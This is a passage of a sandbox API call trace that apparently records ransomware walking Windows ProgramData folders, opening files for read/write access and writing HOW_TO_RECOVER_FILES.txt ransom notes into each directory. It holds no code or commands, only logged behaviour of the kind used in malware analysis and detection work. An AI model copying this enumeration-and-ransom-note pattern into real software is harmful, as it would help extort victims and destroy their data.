stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), fInfoLevelId=0x0, lpFileInformation=0x35bef70 | out: lpFileInformation=0x35bef70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9)) returned 1 [0096.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.569] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico", lpFilePart=0x0) returned 0x5f [0096.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.570] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.572] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x5e [0096.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.572] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), fInfoLevelId=0x0, lpFileInformation=0x35bf7a0 | out: lpFileInformation=0x35bf7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850)) returned 1 [0096.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.572] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x5e [0096.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.573] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.575] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5a [0096.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.575] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), fInfoLevelId=0x0, lpFileInformation=0x35bffd0 | out: lpFileInformation=0x35bffd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b)) returned 1 [0096.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.575] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5a [0096.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.575] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.577] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0096.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.577] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), fInfoLevelId=0x0, lpFileInformation=0x35c07d8 | out: lpFileInformation=0x35c07d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff)) returned 1 [0096.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.579] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0096.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.579] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.581] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x59 [0096.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.581] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), fInfoLevelId=0x0, lpFileInformation=0x35c0fe0 | out: lpFileInformation=0x35c0fe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4)) returned 1 [0096.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.582] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x59 [0096.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.582] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0096.996] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0096.996] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0096.997] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.997] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0096.997] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.997] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0096.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0096.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0096.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0096.997] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0096.997] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0096.998] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.998] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0096.998] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0 [0096.998] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0096.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0096.998] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0096.998] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0096.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec820) returned 1 [0096.998] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), fInfoLevelId=0x0, lpFileInformation=0x3884078 | out: lpFileInformation=0x3884078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de910b4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x536)) returned 1 [0096.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7e0) returned 1 [0096.999] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0096.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec6d0) returned 1 [0096.999] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.999] GetFileType (hFile=0x7b0) returned 0x1 [0096.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec640) returned 1 [0096.999] GetFileType (hFile=0x7b0) returned 0x1 [0096.999] GetFileSize (in: hFile=0x7b0, lpFileSizeHigh=0x1f9ec878 | out: lpFileSizeHigh=0x1f9ec878*=0x0) returned 0x536 [0096.999] ReadFile (in: hFile=0x7b0, lpBuffer=0x38848d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec7a8, lpOverlapped=0x0 | out: lpBuffer=0x38848d8*, lpNumberOfBytesRead=0x1f9ec7a8*=0x536, lpOverlapped=0x0) returned 1 [0097.001] CloseHandle (hObject=0x7b0) returned 1 [0098.154] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x1f9ec1b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0098.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec6d0) returned 1 [0098.154] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0098.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e90c0) returned 1 [0098.157] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0098.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0098.157] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0098.559] GetFileType (hFile=0x6e0) returned 0x1 [0098.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0098.559] GetFileType (hFile=0x6e0) returned 0x1 [0098.566] WriteFile (in: hFile=0x6e0, lpBuffer=0x33ce358*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x33ce358*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0098.567] CloseHandle (hObject=0x6e0) returned 1 [0098.567] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0098.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0098.567] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0098.567] GetFileType (hFile=0x6e0) returned 0x1 [0098.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0098.567] GetFileType (hFile=0x6e0) returned 0x1 [0098.568] WriteFile (in: hFile=0x6e0, lpBuffer=0x33d1c50*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x33d1c50*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0098.569] CloseHandle (hObject=0x6e0) returned 1 [0098.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0098.569] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0098.569] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0098.744] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.745] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a1d79, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd64b86a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", 